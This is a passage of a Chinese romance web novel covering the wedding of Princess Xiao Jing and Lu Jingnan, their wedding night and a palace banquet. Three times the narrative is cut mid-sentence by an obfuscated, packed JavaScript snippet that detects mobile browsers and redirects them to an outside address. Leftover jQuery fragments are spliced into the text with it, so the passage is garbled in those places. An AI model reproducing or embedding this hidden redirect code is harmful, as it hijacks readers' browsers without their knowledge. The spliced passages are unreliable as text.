“动不动就提告老,哪有一点你徐氏天文世家的风骨?” “殿下教训的是,是臣糊涂。”徐危被她的话狠狠一激,一声响亮的叩首后,沉声道,“殿下放心,臣再不提告老的事,阴煞未解,臣绝不辞官!” 萧璟总算长长舒了口气,离去之前,最后交代了一句:“天机不可泄露,此事天知地知,你知我知,若旁人问起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001491|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大人知道该如何回答。” “臣遵命。” 走出司天台时,萧璟抬头望了望,赤霞漫天,夕阳余晖为天幕镀上一层朦胧的金边,倒是很像她的大婚礼服,朱红为底,金线勾勒,美得迷人眼,勾人心。 她扬起嘴角:老天爷,初八那日的黄昏,也一定要这般美。 * 五月初八,一个全京城翘首以盼的良辰吉日,也是大梁长公主萧璟和驸马陆惊澜这对「痴女怨男」的大婚之日。 从清晨起,萧璟便忙个没停,醮戒、着装、朝贺……一项项繁复的礼仪走下来,日头西斜时分,大婚仪仗终于从含章殿启程,向着宫门逶迤而去。 负责护送的是二哥萧宏和三哥萧烁,萧宏一向稳重守礼,这般事关皇家体面的大事,交给他再合适不过,至于主动请缨的萧烁么…… 萧璟忍不住在喜帕下翻了个白眼,凑热闹的事交给他也准没错。 萧烁以「护送」之名,策马伴在萧璟的銮轿之侧,声音压得低低的,但依旧是平日里那副不着四六的腔调:“小五,如意坊的盘口开了,赌你和驸马多久会相看两厌,分道扬镳。” 萧璟嘴角一抽。 好啊,原来全京城都在等着看她的笑话。 她几乎是咬着牙问出了心中的疑惑:“几个盘口?目前下注情况如何?” “三个,半年内、一年内、白头偕老。”萧烁说着便叹了口气,叹气声重得她在轿子里都听得清清楚楚:“唉小五,十之八九都压了撑不过一年呐。” “白头偕老怎么算?”她好奇起来,“难道真要等到我和陆惊澜白发苍苍还没和离才算完么?” “这倒不必,只要撑过一年便算押白头偕老的胜。” 萧璟眉梢微挑,问道,“三哥,你押了多少?” 萧烁连连否认:“你胡说什么,三哥是那样的人么,拿自己妹妹的终身大事来赌?” “别装了!”她懒得和他兜圈子,直接威胁道,“你若不说,明日让我查清你押的哪一门,我定让你输个干干净净。” “毕竟这婚事,可是我说了算。” 他一听瞬间投降,坦白道,“好好好,我说,我押了一千两白银,押的可是「白头偕老」。” 萧璟简直要被气笑了,败家三哥,十赌九输,竟然还敢下一千两白银,这是对她的婚事多有信心。 一帘之隔,萧烁面上的玩笑之意尽褪,眼神沉静,望着朱红的车帘默默勾了勾嘴角。 十赌九输,但赢这一次就好。 銮轿内,萧璟眼珠一转,心里的小算盘已经噼里啪啦地响起来了:照钦天监所言,萧家阴煞之气颇重,想来没个一年半载的是化不尽的,三哥误打误撞,倒是押对了。 她嘴角上扬,势在必得:“三哥,不如咱们凑个吉利数字,再加五千两。” “我要全京城想看我笑话的人,输个血本无归!” 话音刚落,仪仗稳稳地停下,到宫门口了,内外霎时间一片肃静。 萧宏宣读辞令的声音从远处断断续续地飘来,他应当是在和陆惊澜交接,不过是些按部就班的程序,她只需耐心等着便是。 等得无聊,她便揉了揉早已酸胀不堪的脖子,心中计算着从宫门口到公主府还需多少时辰,一道沉肃的声音突然隔着车帘稳稳传来。 “殿下,坐稳当些,我们要启程了。” 他的声音很稳,让她那颗还有些躁动不安的心渐渐静了下来。 尽管无人能窥见她此刻的仪态,但她依然忍着酸痛,昂首挺胸,目光坚定。 前路未卜,但她既然决定走,那便要走得从容些,体面些。 至少,要对得起今日天边那片瑰丽又绚烂的火烧云。 10. 第 10 章 长安街上,人头攒动。 皇家禁军分列两侧,身着盔甲,手持兵器,将前来围观的人潮牢牢地禁锢住,街道中央,大婚的仪仗队一路畅行无阻,向着公主府的方向蔓延而去。 可那些热火朝天的议论声,便是再调一倍的人手来,也压不下分毫。 几个妇人指着嫁妆队伍,面露羡色:“不愧是长公主出嫁,这排面,当真是十里红妆。” “欸你们快看驸马爷,这般意气风发,哪里像是被逼婚的,分明是心甘情愿。” 人群深处,也仍有些不合时宜的嘟囔声:“皇家威压,就算有不满也不敢在面上表露啊。” 众人七嘴八舌,祝福的,打趣的,暗讽的,明明各说各话却达成了一片热闹的和谐。 这般光景,须臾十几日前,陆惊澜刚见识过一次。 他又一次策马行在队列最前方,然而与前番凯旋不同,他眼底眉梢透着的春风得意,但凡不是个瞎子应该都能看出来。 他挺直脊背,迎上大半个京城的热烈目光,微微上翘的嘴角压不住,也不想压。 是,他满心欢喜,他恨不得全京城都知道他满心欢喜。 他一面领队前行,一面频频回首,望向身后的銮轿,明明知道看不见她,可还是想看,想一遍一遍地看。 銮轿内,厚厚的车帘隔绝了嘈杂的人声,但萧璟仍能捕捉到零星的只言片语,她一点一点地拼凑着,嘴角的笑意也一点一点加深。 很好,人和钱,都是她的。 她甚至琢磨起来,是不是要看在陆惊澜如此「配合」的份上,给他分一半,但瞬间便否决了这个想法,他人都嫁进公主府了,她的便是他的,还分什么。 若他真能延续萧家的气运,荣华富贵、权势地位,她都甘愿奉上,即便他要那虚无缥缈的真心,她也会努力试试的。 不知行了多久,仪仗终于稳稳地抵达了公主府,萧璟敛起那些纷乱的思绪,屏了口气,端正仪态,等着女官伸出手扶她下轿。 可车帘掀开,伸过来的却是一只沉稳有力的手臂,以及她熟悉到不能再熟悉的那个声音,只是不似平日那般沉声静气,还带着微微的喘声。 “璟妹,可以下轿了。” 她迟疑了一下,才搭上他的手臂,起身的同时还在小声问:“大哥,你怎么来了,你不是在凌霄殿主持宫宴吗?” 喜帕隔绝了她的视线,她看不见萧启的脸,只能听见他有些颤的声音贴着身侧传来。 “不亲自来,大哥总是不放心。” 他顿了顿,声音更轻,蕴含的情绪也更复杂,“那天的事,你还在怪大哥吗?” “不,我没有。”她立刻否认,可叹了口气,又轻声问,“大哥,那你会怪我吗?怪我这么任性?” 萧启终于笑了:“傻话,大哥若是怪你,今日怎么会来?” 喜帕下,萧璟忽然觉得眼睛酸酸的,那只原本虚虚搭在他臂上的手,不由自主地越抓越紧。 她不想放手。 长兄如父这几个字,于大哥是责任,于她则是本能的依赖。 她紧紧靠着萧启的臂膀,三年前那个寒风凛冽的夜,她在父皇灵前哭到昏厥,意识迷蒙的最后一刻,也是这样可靠的一双手臂,稳稳地接住了她,扶起了她。 “陆惊澜,本王把妹妹托付给你了。” 萧启终于停下了脚步,声音很稳,但被她攥着的手臂却在微微颤抖。 “臣万死不辞。” 陆惊澜的承诺一字一顿,将还有些恍神的她拉了回来。 “去吧。”大哥轻轻吐出两个字,隔着喜帕擦过她耳畔。 萧璟屏了口气,松开了手。 她得放手,放手去赌一个可能,赌一个噩梦不会成真的可能。 礼官高唱,拜堂礼始。 透过喜帕扬起的那一小道缝隙,萧璟瞥见她裙下的蹙金绣鞋,和一双云纹乌靴相对而立,他们的鞋尖挨得极近,将要俯身之时,她甚至感觉到有一瞬的相触,那触感又轻又快,像是幻觉,但还是令她忍不住微微蜷起脚尖。 堂中那些笑语贺言,在她耳边渐渐乱成一团嘈杂,越来越模糊,她好像什么都听不到,心神尽数凝在方才将触未触的鞋尖上,以及那蜷缩到阵阵发麻的脚趾头。 从足下到心口,从酥麻到慌乱。 当那些纷杂的思绪终于随着喧嚣褪去时,萧璟发现自己已身处红烛高照的婚房,灯花爆开一声“噼啪”的脆响,女官含笑贺道:“请驸马爷揭喜帕,夫妻相见,永结同心。” 话音刚落,一柄玉如意轻轻探入喜帕下沿,缓缓上挑,他的动作很慢、很轻,像是怕惊扰了什么。 视线重归清晰的第一刻,映入她眼帘的是他那双澄澈的眼眸,只是今夜并非一池静水,更像是暗流涌动的潮。 四目相对间,她不禁放慢了呼吸。 陆惊澜眼尾带笑,但望向她的目光却并不轻浮,他的语气很郑重,说出来的话却实在浅显:“殿下今天真好看,比臣想的还好看。” 萧璟忍不住漾开一个浅笑,她当然知道自己好看。 从小到大,对她容貌的溢美之词不知听了多少——乌发雪肤,生得一张明艳脸庞,眸光清亮,眼尾微扬,自有一股妩媚风流;朱唇饱满,不点而红,比时令的樱桃更诱人三分。 可眼前这个人,竟然只会如此直白地夸一句「好看」,可偏偏夸得她内心有点欢喜。 她微微垂下头,快速地小声回道:“你今天也很好看。” 今夜这话,她确是真心实意的,他本就生得俊朗,大红婚服一衬,更添几分恣意不拘,那双灿若星辰的眸子,都快把她冠上的东珠比下去了。 笑意瞬间在他的眉眼间漫开,连声音里都藏不住:“臣知道。” 一旁的女官许是听见了这有些稚气的对话,笑着奉上合卺匏瓜,“请殿下和驸马饮合卺酒。” 那匏瓜一分为二,用一根红线牢牢系着。 两人各自执起一半,手臂交缠,距离被骤然拉近,近到她能清晰地看见映在他眼中那张越来越红的脸,近到她能感觉他的呼吸声越来越重,拂过她额前的气息越来越热。 陆惊澜原本稳稳端着的手,忽然就抖了一下,连匏瓜里的酒都洒出了些,不偏不倚滴落在她身上。 他先是一愣,视线下意识地追着那几滴酒的去向,逐渐下移,看着它们慢慢浸入她大红的婚服,再洇开几点深深浅浅的痕迹。 等他反应过来时,目光已经落在了一个本不该停留的位置上。 他猛地抬眼看她,眼底是前所未有的慌乱。 就在同一瞬间,萧璟感觉到一片突如其来的,湿湿的凉意蔓延开来,然后那一小块浸了酒液的衣料,便紧紧地贴在了腿侧的肌肤上。 全身的血液登时就涌上了她的脸。 两人的目光慌乱地撞了一下,便立刻分开。 几乎没有一点犹豫,两人默契地选择了忽略这点「小差错」,仰头将酒一饮而尽,又赶忙放开缠在一处的手臂,别过脸,努力维持面上的冷静。 可萧璟胸腔里那颗快要吵翻天的心告诉她,她根本冷静不了。 旁边的女官显然将一切看得一清二楚,她柔声道:“殿下可要更衣,奴婢传人进来伺候?” 更衣?现在? 萧璟慌得都说不出话,她用力摇了摇通红的脸,可那处衣物被浸透的不适感,又确实存在,难以忽略。 正当她咬着唇,不知该如何开口时,沉默了许久的陆惊澜突然站起身,上前半步,挡在她面前。 他的耳根红得像要滴血,声音磕磕绊绊的:“今日礼仪繁多,殿下应当也乏了,你们…你们先退下吧,衣裙放那就行。” 女官呆呆地看着二人,茫然道:“礼未成,奴婢怎能……” “无妨,”他头都不敢抬,眼睛紧紧盯着地砖,“后面的…后面的礼仪我都知道,演练过许多遍,你们退下吧。” 女官只好领着侍女们退下,房门被轻轻合上的那一刻,萧璟终于缓了口气。 陆惊澜依然背对着她,双手紧攥,声音发涩:“臣去屏风后面,殿下放心,臣绝对不会偷看。” 说罢,他动作僵硬地向屏风快步走去。 路过茶案时,许是他甩手的动作太大,衣袖带到了案上的茶具,那只洁白如玉的瓷盏“咕噜咕噜”地滚到了桌子边缘,他赶忙伸手去接,不想脚下又被紫檀木凳绊了一下,踉跄了两步刚站稳,便听得一声清脆的“啪”。 那白瓷盏,碎了个四五六七瓣。 他整个人愣在原地,伸出的手还僵在半空,光看背影都能猜到他此刻脸上满是心虚和慌乱。 萧璟再也忍不住了,低低地偷笑起来,方才的那点尴尬和不适,早被抛到了九霄云外。 毕竟,有人看起来更丢脸。 她心里松快了些,故意逗他:“陆惊澜,这套茶具可是孤品,你得赔我。” 她一开口打趣,他紧绷的肩反而松弛下来,竟转身走了回来,在她面前缓缓蹲下,抬头望向她笑意嫣然的脸,声线沉稳了许多:“好,我陪你。” “那你打算怎么赔?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001492|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他眸色深了些,但她依然能清清楚楚地看见自己的身影被锁在其中,“殿下希望臣怎么陪?” 萧璟被他看得有些不自在,又说不出缘由,她装作一副思考的样子,歪着头躲开那灼热的目光,小声嘀咕着:“嗯……你寻一套更好的来便是。” 他几乎是想都没想就应道,“那臣怕是做不到了。” “为何?” “因为,这世上没有比殿下更好的。” 萧璟怔住了,方才那些逗趣的心思在这句话面前顷刻间灰飞烟灭。 她甚至忘了躲开他的目光,直勾勾地望着他,一直望进他眼眸深处,深不见底之处。 直到她看见他的喉结微微滚动一下,那动作很小,却牵引着她也不由自主吞咽了一口,此时她才发现,她竟看了他这么久,久到嘴唇已经又干又涩。 她垂着眼,将唇稍稍内抿,自己偷偷舔了一下。 这个小动作又轻又缓,毫不起眼,可面前的陆惊澜却像是被烫了一下,猛地站起身来,几个阔步走到桌边,执起茶壶倒了满满一杯,一饮而尽。 虽然隔着段距离,但她依然能听见他极力压抑的喘气声,他背对着她,努力深呼吸了好几次,才开口:“臣先去屏风后面,殿下更衣吧。” “等等,”她对他这般反应有些无措,但还是叫住了他,指着头上的凤冠小声道,“这个太重了,你先帮我把它取下来。” 他喉间溢出一声似无奈似认命的笑,重重叹了口气,才转过身又走了回来。 萧璟侧过身,略微低下头,露出一截后颈,方便他从身后拆去那些繁复的珠钗,他却没有立即动手,她忍不住催促道:“你快些,我脖子都要被这凤冠压断了。” 他这才开始一点一点拆去那些珠花、钗环,每拆一点,萧璟都觉得身上轻快了一分,可落在她后颈的气息,却越来越重。 当最后一支固定的金簪被抽出时,压了她一整天的凤冠终于被取下,她满足地舒了口气,可还没来得及转头,头皮便袭来一阵扯痛,她忍不住“哎呦”了一声。 他慌忙扶住她的肩,附在她耳边问道,“殿下,怎么了?” 萧璟能感觉到他的脸在微微发烫,那温热隔着他们之间薄薄的空气,正一丝一丝传递到她的脸上。 “好像…好像勾到头发了。” 她努力维持镇定,但几乎被他圈在怀里的身子一动不敢动。 “哦!”他这才发现,她的一缕长发不知何时缠入了满嵌红宝石的凤首中。 他试图将那缕发丝解救出来,可越是努力,那秀发反而缠得越乱、越紧,到最后甚至和他的手指绕成一团,难解难分。 尝试了许久仍无果,萧璟忽然笑了,嗔道:“笨蛋!” 身后还在尝试的手闻言顿住,她没有回头看他,继续道,“解不开便不解了,我们不是还没行结发礼么?” “对啊,”他蓦地松了口气,“臣怎么没想到。” 趁着他看不到,她偷偷翘了翘嘴角,“是李尚书教导礼仪的时候,你分心了吧?” 他一边用金剪小心翼翼地剪下那缕发丝,一边笑着回道,“是啊,臣光顾着赏窗外的花了。” 她没应他,带着浅浅的笑意转过身来,在他的掌心,并排放着两绺头发,一绺是她的,一绺是他的。 “结发为夫妻,恩爱两不疑。” 他抬起头,目光清澈,郑重地问道,“殿下可愿意和臣,行结发礼?” 她看着他的眼睛,点了点头。 然后,两人各自执起一端,在烛光映照下,慢慢将发丝缠在一起,但其实大多数时候,都是陆惊澜在带着她的手指移动,在这些手工活上,她确实不擅长。 当那个小小的发结成形时,两人都松了口气,相视一笑。 这一夜的狼狈,在这个小小的结面前,都不值一提了。 锦囊收好,结发礼成,室内又静了下来。 萧璟低头看了看那块已经半干的酒渍,小声道:“好了,现在我要更衣了。” 陆惊澜的耳尖还有些红,但声音比之前镇定得多:“臣去屏风后面候着。” 一阵轻轻的窸窣声后,她换上一身干净的中衣,又随意地绕了几圈衣带,绑了个看起来很牢靠的结,才朝着屏风道,“可以了。” 陆惊澜从屏风后走出来时,看到的便是一身绯色,青丝如瀑的萧璟,她本就娇媚的脸庞,在曳曳红烛的映照下,愈发动人。 他下意识垂下头,没有上前,问出了那句在心底盘旋了一夜的话:“殿下,今夜我们怎么睡?” 11. 第 11 章 他那句「怎么睡」才一出口,萧璟的脸上便扬起一抹浅笑。 这几日她废寝忘食地看话本子,现下正好有了用武之地。 “自然是同榻而眠。” 她捏起嗓子,将声音放得又轻又软。 “我们是夫妻,哪有新婚之夜就分房睡的道理?”她一面说着,一面故作娇羞地低下头,把玩起衣带来。 借着余光,她看见陆惊澜原本垂着的头立刻抬了起来,嘴角好像还抽了抽。 她心下暗喜,面上却叹了口气,懊恼道,“可真是不巧,昨日钦天监监正来禀,咱们的八字虽是天作之合,但偏逢今岁流年不利,圆房一事,恐怕得往后放放了。” “哦?”陆惊澜眉梢微挑,似笑非笑,“天作之合又流年不利,老监正还真是眼光毒辣啊。” “是啊是啊。”她小鸡啄米似的点起头来,“徐大人还说,若是圆房的时机不对,恐对咱们姻缘美满有碍。惊澜,这种事宁可信其有,不可信其无,你说是不是?” “毕竟,咱们可是要白头偕老,长长久久地在一起的。” 陆惊澜嘴角噙着一抹玩味的笑,不疾不徐地行至她面前,俯下身,“殿下说的极是,只是臣有一事不明,徐大人如此神机妙算,那可曾告诉殿下,圆房的吉时在何时?” 萧璟迎上他的目光,眨了眨眼,眼神真诚地说道,“只待时运转变,左不过,也就这一二年吧。” “一二年?”他的声音陡然间提高了些,“殿下,那臣岂不是要守活寡?” 她的脸唰地涌上一股热意,“你、你乱说什么?” 他又凑近了些,定定地望着她的眼睛,抿了抿唇,“那殿下告诉臣,咱们这一二年该怎么过?” 萧璟眼神飘忽,嘴巴又不利索起来,“就和平常夫妻一般啊,只是,只是不那个。” “那臣可以牵殿下的手吗?”他试探着问道。 她深吸一口气,稳住声音,“当然可以。” “那臣也可以抱殿下?” “……可以。” “可以吻殿下?” “你!” 萧璟被他问得脸通红,望着他那双眼尾含笑的清眸,憋了半天才挤出两个字: “可以。” 她又慌忙补了一句,“不过得我愿意的时候。” 他笑了笑,稍稍退后半步,“那是自然,若非殿下「愿意」,臣此刻也不会在这里了。” 说罢他屈膝蹲下,轻轻按住她不知何时又和衣带缠在一块的手,“这么多年了,殿下这个爱绞衣带的小毛病,还一直在。” 他温柔地分开她的手指,继续道,“臣常常在想,究竟要用什么法子,才能让殿下心甘情愿地松开手?” 萧璟有些怔然,指尖和衣带彻底分开的刹那,她虚虚地握了握,掌心那种空落落的感觉又一次袭来,从手心一路漫到心口。 上次这般感觉,是他甩开了她的手。 她看了看空空如也的手心,目光又掠过他正欲收回的手,一股无名火直冲而来。 没有一丝迟疑,她直接伸出手追了上去,将自己的手整个覆进他宽大的手掌。 不等他反应,她又带着点赌气般的意味,将自己的手指一点一点挤进他的指缝间,直到他和她的每一根手指都严丝合缝地扣在一起,她才将二人交缠的手举到他眼前,声音绷得又清又亮,还带着微微的颤音。 “那这样呢?” 她望向他的眼睛,那些翻涌的暗流突然停滞了。 话本子上教的那些小意温柔,深情体贴,在她的好胜心面前,都得让步。 她几乎是在质问,“现在你还想让我松手吗?” 陆惊澜懵了许久,看着她气得泛红的眼眶,像是突然明白了什么,赶忙应道,“臣不敢,上次是臣不对。” 看着她的脸色有所缓和,他才小心翼翼地继续道,“既是殿下扣住的,那臣不敢,也不想让殿下松开。” 他紧紧回握住她的手,原本凝滞的眸,渐渐氤氲出一层又一层雾气,重重叠叠,让他快要看不清她。 “你,你哭什么?”萧璟看见他眼中将要漫出的泪,突然就慌了,赶忙用另一只手去拭,可碰到他眼角的那一瞬,他的泪反而落得更凶了。 “我没有真的生你的气,你别哭了。” 她用指腹在他脸上胡乱地擦着,可刚擦完左边一道,右边又来一行,什么叫「左支右绌」,她此时再明白不过了。 “臣是生自己的气。” “那本宫命令你不许生自己的气。” 这话刚一出口,连她自己都觉得荒唐,只好懊恼地抬头望向屋顶,不去看他即将汹涌落下的泪,那只徒劳了许久的手也无力地垂下。 可下一瞬,一阵熟悉的温热迎了上来,将那只手牢牢地包裹住 “好。” 她惊讶地看向他,才发现他竟然真的止了哭。 陆惊澜吸了吸鼻子,声音还是闷闷的,“都听殿下的。” 萧璟看着他花猫一般的脸,满是歪歪扭扭的泪痕,一半是他自己哭的,一半是她胡乱擦的,忍不住笑出了声:“还说我呢,你自己爱哭的小毛病,这么多年了也没改。” 他破涕为笑:“嗯,都改不掉了,谁让我们总惯着彼此。” 红烛渐短,十指紧扣的两人终于和衣躺下。 寂寂深夜里,更鼓声遥遥传来时,窗外那弯清月已悄然西沉,萧璟仅存的一点清醒,也在缠绵而来的睡意中彻底涣散。 听着她又轻又浅的呼吸声,陆惊澜慢慢地睁开了眼,他望着她恬静的睡颜,不由自主地伸出了手,向着那张他日思夜想的脸庞一点一点靠近。 当他的手掌和她的脸颊相隔不过寸许时,他蓦地顿住了。 那只手,在半空中悬停了很久。 最后,他伸出手指,蜻蜓点水般地在她侧脸上轻轻戳了一下。 她依然睡意酣沉,绵密的气息一下一下,柔柔地拂过他的手背,他的心尖,让他安心,更让他毫无倦意。 睡吧殿下,夜还长。 这一世,我们之间,可以慢慢来。 隔日清晨,萧璟是在一阵酸麻中醒来的。 而罪魁祸首,此刻正睁着他清澈的眼,一动不动地看着她。 她愤愤地瞪了他一眼,他立即乖觉地凑了上来,“殿下手麻了?臣帮殿下揉一揉。” “那你倒是松手啊。”她咬着牙无奈道。 他这才松开手,指尖离开的那一瞬,似是无意地在她手心擦了一下,痒痒的感觉让她不由得蜷起手指,虚虚握拳。 他满脸笑意,轻轻帮她揉着快要没有知觉的胳膊,可稍微一用劲,那酸麻感便从指尖一路蹿到了小臂,她忍不住惊呼:“你轻点!” “臣该死,弄疼殿下了。” 下一瞬,门外传来一声响亮的“哐当”,是铜盆打翻在地的声音。 芷萝慌里慌张的声音紧接着响起:“殿下,奴婢不知您和驸马尚未起身,晚些,晚些时候再来伺候梳洗。” 说罢,她压低声音道,“快,都退下。” 一阵杂沓的脚步声立刻窸窸窣窣地飘远了。 萧璟刚想叫住她,突然意识到什么,脸腾地红透,忙喊道,“不是,我们没……”那个词将要出口的一刹那,理智回笼,她又硬生生咽了回去。 陆惊澜连忙接道,“殿下别担心,臣去解释。” “欸!”萧璟这下更慌了,赶紧拉住作势起身的他,“这种事,怎么解释嘛?” 颊上的两团红云久久不褪,最后她一咬牙,“罢了罢了,都这样了,索性再躺会吧。” 说罢,她气鼓鼓地重新躺下,不过这次,留了个倔强的背影给他。 脸上依然在发烫,但她的心已经渐渐平复:大婚已毕,可对这桩姻缘疑虑重重的大有人在,为了能顺利化煞,也为了那个情深互许的目标,人前人后,他们都得是一对「恩爱夫妻」。 有些误会,解释不清,也没必要解释了。 是夜,云华殿宫宴,群臣恭贺长公主新婚之喜。 萧璟一袭海棠红蹙金宫装赴宴,在她出现的那一刹那,满殿霓裳华服,霎时失色。 华贵的云锦在宫灯映照下波光粼粼,恰若晴时日光都格外偏爱的一池潋滟。 莲步轻移间,精致的提花暗纹伴着腰间金铃脆音若隐若现,转身落座的刹那,裙摆微扬,海棠春晓的纹样在她裙身惊鸿一绽,可不过短短一瞬,便又融进那片明艳的红里,再难寻觅。 陆惊澜紧跟在她身侧落座,一身深靛青锦袍衬得他愈发沉静。 作为今日宴会的主角,两人受到的敬贺自然是少不了的。 萧璟脸上带着得体的笑意,从容回应着那些或真心,或假意的祝辞。 无需言语,他总能及时跟上她的动作,一次又一次执起酒杯,仰头饮尽。 可佳酿缓缓滑过喉间时,他的目光却不由自主地反复落在他和她之间那一点空隙上,唇角勾起的弧度越来越高。 在那里,她方才扬起的裙角,与他撩开的衣袍边缘,正悄无声息地覆在一起,难分彼此。 海棠入怀,独他占尽满园春。 他垂眸含笑,正欲再饮时,怀中突然扑进一个温温热、软乎乎的东西,还带着一阵浓郁的奶香。 他浑身一僵,低下头,对上一双圆溜溜的大眼睛。 两岁的小世子萧穆之,正用小手扒拉着他的前襟,嘴里含含糊糊地喊了一句:“姑丈,抱。” 他还看见,一小团黏糊糊的口水渍,正在他胸口的云纹图样处渐渐洇开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001493|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没有推开,还朝着怀中的小团子温柔地笑了笑,只不过捏着那只酒杯的那只手,悄无声息地加重了力道。 萧穆之,你两岁的时候比四岁的时候更烦人! 唯一算得上好的,是这句「姑丈」里,暂时没有血的味道。 “穆之,不可无礼。”坐在对面的苏婉卿瞥了瞥身侧萧启的神色,柔声制止道。 萧启则给自己斟了杯酒,淡定地举杯饮尽,“无妨,惊澜看起来挺喜欢孩子的。” 萧璟看着陆惊澜那副抱也不是,不抱也不是的纠结模样,不禁笑出了声,她冲着他飞快眨了下眼,随即清了清嗓子,笑着举起一块糕点,还特意在小穆之眼前晃了晃。 “穆之,姑姑这有好吃的芙蓉糕哦。” 原本软软地趴在陆惊澜怀里的萧穆之,闻言立即爬起,磕磕绊绊地走了过来,眉开眼笑地接过糕点,一边吃还一边抬头望向萧璟,声音黏黏糊糊的,“姑姑,甜。” 萧璟摸了摸他的头,向着陆惊澜挑了挑眉,露出一个得意的笑。 他僵硬的身子总算放松下来,无奈地摇头笑了笑。 萧璟还沉浸在欣然中,身旁突然响起一道沉稳的男声。 “殿下和驸马真是鹣鲽情深,令人艳羡,臣聊以薄酒一杯,贺殿下新婚之喜。” 她扭头一看,一位面容俊朗的清隽公子,正向着她的方向遥遥举杯,嘴角那抹温润笑意,像是用刀刻上去的。 “柳公子目光如炬。”还不等萧璟开口,陆惊澜先一步举杯回应,他的目光在她微红的脸上流连了许久,才继续道,“殿下不胜酒力,这杯,还是由臣代劳吧。” 说罢,他并未等她应允,便一饮而尽。 柳明晏依然带着笑,声音更沉了几分,“驸马体贴入微,可殿下都未曾开口,驸马这般怕是有些僭越吧?” 萧璟喉间滑过一声轻笑,她微微晃着杯中的酒,缓缓道,“惊澜不过是尽驸马之责,何来僭越一说?倒是柳公子出身世家,又这般知书达礼,通理晓义,不知如今在何处高就?” “臣……”柳明晏被噎得说不出口,半天才勉强道,“臣如今在礼部仪制司参校典籍。” 她斜斜乜了柳明晏一眼,总算放下那杯把玩了许久的酒,朝着御座之上的萧宸一笑,“陛下知人善任,真乃我大梁之福。” 席间霎时一静,众人的目光在陆惊澜和柳明晏身上来回打转。 萧宸无奈地叹了口气,可嘴角分明勾着笑意,“五姐所言甚是,为君者,贵在选贤任能。”他顿了顿,朗声道,“譬如善战者宜安定疆土,善文者宜修撰典籍,各司其职,各得其所,方能政通人和。” 他举起酒杯,向着柳明晏的方向致意,“柳卿家学渊源,博览群书,未来在礼部必定大有一番作为。” 席间顿时响起一阵窸窣的笑声,连向来不苟言笑的萧启都忍不住逸出一声气音,他接口道,“提起修撰典籍,倒是让本王想起一事。” “本王前段时日操持婚仪,发现前朝诸多典籍制度,或含糊不清,或残缺不全,实在可惜。柳公子既领参校之职,那便将其一一注释校勘,分类归档吧。” 柳明晏脸上的笑彻底挂不住了,他躬身行礼,掩住面上那些翻涌的情绪,咬着牙挤出了「臣领命」三个字。 萧烁憋笑憋得肩膀直抖,若不是一旁的二哥摁住他,只怕他能笑倒在地,他向着萧璟扬了扬下巴,偷偷比了个「干得好」的口型。 出了这口气,萧璟心情舒畅,她慢悠悠地端起酒盏,酣饮而尽。 酒香醉人,尚未完全回神时,她突然感觉左手小指被人快速勾了一下,偏头一看,陆惊澜正低头饮酒,可即便隔着一层淡淡的醺意,她也能将他脸上的笑意看个分明。 她微微一笑,握了握拳,将被他勾过的小指悄悄藏入手心,那点残留的温度,好像顺着手心,渐渐漫向全身。 宴过三巡,笙歌四起。 教坊司精心排演了一曲《春江花月夜》,曲声清丽淡雅,如流水般缓缓淌来,令在场众人皆心醉神怡。 酒意上头,萧璟听得正入神,原本坐在她下首的萧烁蹭了过来絮絮叨叨,吵得她心烦,她无奈嗔道,“三哥,你消停会,让我安静听会曲子吧。” 萧烁无奈撇撇嘴,执起酒杯嘟囔道,“教坊司排的曲子,来来回回就那么几个调调,早听厌了,还不如……” 话未说尽,他手中的酒杯便“哐”地一声砸在桌上,把萧璟吓了一跳,也吓了个清醒。 四下里的眼睛立刻望了过来,萧烁沉了一瞬的脸霎时间又春风满面,他乐呵呵道,“一时手滑,手滑。” 可那些探究的目光才一散去,他那道沉稳得令人陌生的声音便悄然而至,如夜风般擦过她耳畔:“五妹,你猜我看到谁了?” 12. 第 12 章 “谁?” 萧璟眼前的醉意淡了些,那些朦朦胧胧的光影一点一点凝结成形。 她顺着萧烁的视线望过去,大殿中央,一列教坊司的琵琶乐伎正垂首敛目,纤纤玉指轻拢慢捻间,潺潺乐音宛若山涧溪流涓涓而来,清雅沁人。 乐伎们皆着浅粉小衫,碧色百迭裙,连云髻的形状都分毫不差,就像是同个匠人一手捏出的一套精致瓷人。 “第二排左边第三个。”萧烁冷静的声音,伴着一阵急促响亮的弹弦而来,让她浑身一凛。 萧璟的目光精准地找到了那个乐伎,装束打扮和其他人并无不同,她正全神贯注地拨弦奏曲,仿佛世间只剩这一件要紧的事。 